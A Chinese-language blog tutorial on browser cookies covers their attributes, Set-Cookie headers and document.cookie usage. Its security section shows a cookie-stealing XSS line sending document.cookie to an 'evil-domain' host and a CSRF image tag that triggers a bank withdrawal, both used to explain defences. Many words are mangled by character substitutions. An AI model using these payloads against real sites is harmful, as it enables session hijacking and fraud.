共计 4361 个字符,预计需要花费 11 分钟才能阅读完成。
文章已收录到我的 GitHub 中,欢送 关注
cookie 是什么和应用场景
cookie
是服务器端保留在浏览器的一小段文本信息,浏览器每次向服务器端发出请求,都会附带上这段信息(不是所有都带上,具体的下文会介绍)。
应用场景:
- 对话治理:保留登录、购物车等须要记录的信息
- 个性化:保留用户的偏好,比方网页的字体大小、背景色等等
- 追踪:记录和剖析用户的行为
以上用得较多的还是第一种场景。
咱们有时候用
cookie
作为客户端贮存,可行但不举荐。因为cookie
自身大小有所限度,而且会影响性能。存储还是应该思考localStorage
、sesseionStorage
或者indexDB
cookie 的几个重要属性
在理解各个属性之前,咱们先关上浏览器调试——Application
——Cookies
——选中一个域。
下面就会有这些 cookie
的名称,值,Domain
,Path
,Expires/Max-age
,Size
,HTTP
,Secure
。
咱们接下来就是要讲这外面几个重要的点:
Expires 和 Max-Age
这两个属性波及到 cookie
的存活工夫。
Expires
属性指定一个具体的到期工夫,到了这个指定的工夫之后,浏览器就不再保留这个 cookie
, 它的值是 UTC
格局,能够应用 Date.prototype.toUTCString()
格局进行转换。
设置如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Max-Age
属性制订了从当初开始 cookie
存在的秒数,比方 60 * 60 * 24 * 365
(即一年)。过了这个工夫当前,浏览器就不再保留这个 Cookie。
Max-Age
的优先级会比 Expires
的高,次要的起因 Max-Age
所受的外界因素(比方客户端的工夫可能有误)比拟小。
如果两者都不设置的,那么这个 cookie
就是Session Cookie
,也一旦敞开浏览器,浏览器就不会保留这个这个 cookie
。
Domain 和 path
这两个属性决定了,HTTP
申请的时候,哪些申请会带上哪些 Cookie
,具体上面会做解说。
Secure 和 HttpOnly
Secure
属性指定浏览器只有在加密协议 HTTPS
下,能力将这个 Cookie
发送到服务器。另一方面,如果以后协定是 HTTP
,浏览器会主动疏忽服务器发来的 Secure
属性。该属性只是一个开关,不须要指定值。如果通信是 HTTPS
协定,该开关主动关上。
设置了 Secure
这个属性,那么就会在 Secure
这一栏打钩。
HttpOnly
属性指定该 Cookie
无奈通过 JavaScript
脚本拿到,次要是 Document.cookie
属性、XMLHttpRequest
对象和 Request API
都拿不到该属性。这样就避免了该 Cookie
被脚本读到,只有浏览器收回 HTTP
申请时,才会带上该 Cookie
。
设置了 HttpOnly
这个属性,那么就会在 HTTP
这一栏打钩
cookie 和 HTTP 协定
HTTP response——cookie 生成
如果服务器端心愿在浏览器种 cookie
, 那么它只须要在 HTTP
申请头信息中,搁置一个 Set-Cookie
的字段。举个例子:
Set-Cookie:foo=bar
那么就会在浏览器种保留一个名为 foo
,值为 bar
的 cookie
。
除了值之外,还能够设置其余的属性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
当然,一个 Set-Cookie
字段是能够同时蕴含多个属性(而且没有秩序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
留神一点就是,如果你想要应用
Set-Cookie
批改一个曾经存在的cookie
的值,那么要留神,你必须匹配原有的所有的属性值(如果存在的话),否则就会生成一个新的cookie
,而不是批改它的值。
比方,原有的 cookie
为:
Set-Cookie: key1=value1; domain=example.com; path=/blog
那么你正确的批改形式应该是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
如果你的批改形式如下的话:
Set-Cookie: key1=value2; domain=example.com; path=/
就会在浏览器端设置两个同名的 cookie
如下:
Cookie: key1=value1; key1=value2
这不是咱们心愿看到的!
HTTP request——cookie 发送
这里波及到一个问题,是不是每个申请咱们都会带上所有的 cookie
,显然不是的,要不性能就会非常低下了。那么浏览器是依据什么判断哪些申请会带上哪些 cookie
呢?
这就跟 Domain
和 path
属性非亲非故了
比方,当初一个 cookie
它的 Domain
属性为 www.example.com
,path
属性值为 /
。意味着,这个 cookie
对该域的根门路以及它的所有子门路都无效。如果咱们批改了它的 path
值,为 /forums
,那么这个 cookie
只有在拜访 www.example.com/forums
及其子门路时才会带上。
cookie 和平安
会话劫持和 XSS
在 Web
利用中,cookie
罕用来标记用户或受权会话,如果这些信息(cookie
)会被窃取,可能导致受权用户的会话从而网页收到攻打,比方:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly
类型的 cookie
就能够组织 Js
对其的拜访从而缓解这种攻打
跨站点申请伪造(CSRF)
比方某个网站的图片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你关上这个图片的时候,如果你登录之前的银行账号而且 cookie
依然无效(还没有其余验证的步骤,有点极其),那么你的账户就有可能有危险了。
cookie 主动删除和手动删除
在理解 cookie
主动删除之前,咱们先来理解小 cookie
的一些限度条件:
- 发送到服务器端的所有
cookie
的最大数量不能超出 4kb,所有超出该限度的cookie
都会被截断并且不会发送到服务器端。 - IE7 当前限度每个域名下
cookie
的数量不得超过 50 个,Opera
限定cookie
的数量为 30 个,Safari
和Chrome
就没有这种限度。
其限度的起因,次要在于阻止 cookie
的滥用,而且 cookie
会被发送到服务器端,如果数量太大的话,会重大影响申请的性能。以上这两个限度条件,就是 cookie
为什么会被浏览器主动删除的起因了。
主动删除次要存在以下几种可能:
- 会话
cookie
(session cookie
)在会话完结的时候(浏览器敞开)会被删除。 - 长久化
cookie
(Persistent cookie
)在达到生效日期的时候会被删除。 - 浏览器的
cookie
达到下限,会主动革除,而后为新建的cookie
腾出空间。
document.cookie
对于前端而言,咱们获取 cookie
和设置 cookie
都是通过 document.cookie
的形式进行的。
读取 cookie
获取如下(当然是这个 cookie
没有 HttpOnly
属性)。
能够看到,document.cookie
是将所有的能够读的 cookie
一次性读出来的,应用分号宰割,所以必须手动的宰割。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]);
}
// foo=bar
// baz=bar
写入 cookie
咱们能够通过 document.cookie
为以后的网站增加 cookie
document.cookie = 'fontSize=14';
写入的时候,Cookie
的值必须写成 key=value
的模式。留神,等号两边不能有空格。另外,写入 Cookie
的时候,必须对分号、逗号和空格进行本义(它们都不容许作为 Cookie
的值),这能够用 encodeURIComponent
办法达到。
然而,document.cookie
一次只能写入一个 Cookie
,而且写入并不是笼罩,而是增加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
写入 Cookie
的时候,能够一起写入 Cookie
的属性。
例如:
document.cookie = 'fontSize=14;'
+ 'expires=' + someDate.toGMTString() + ';'
+ 'path=/subdirectory;'
+ 'domain=*.example.com';
删除 cookie
删除一个现存 Cookie
的惟一办法,是设置它的 expires
属性为一个过来的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
参考
https://javascript.ruanyifeng.com/bom/cookie.html#toc5
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies
https://segmentfault.com/a/1190000004556040#articleHeader6
https://javascript.ruanyifeng.com/bom/cookie.html#toc5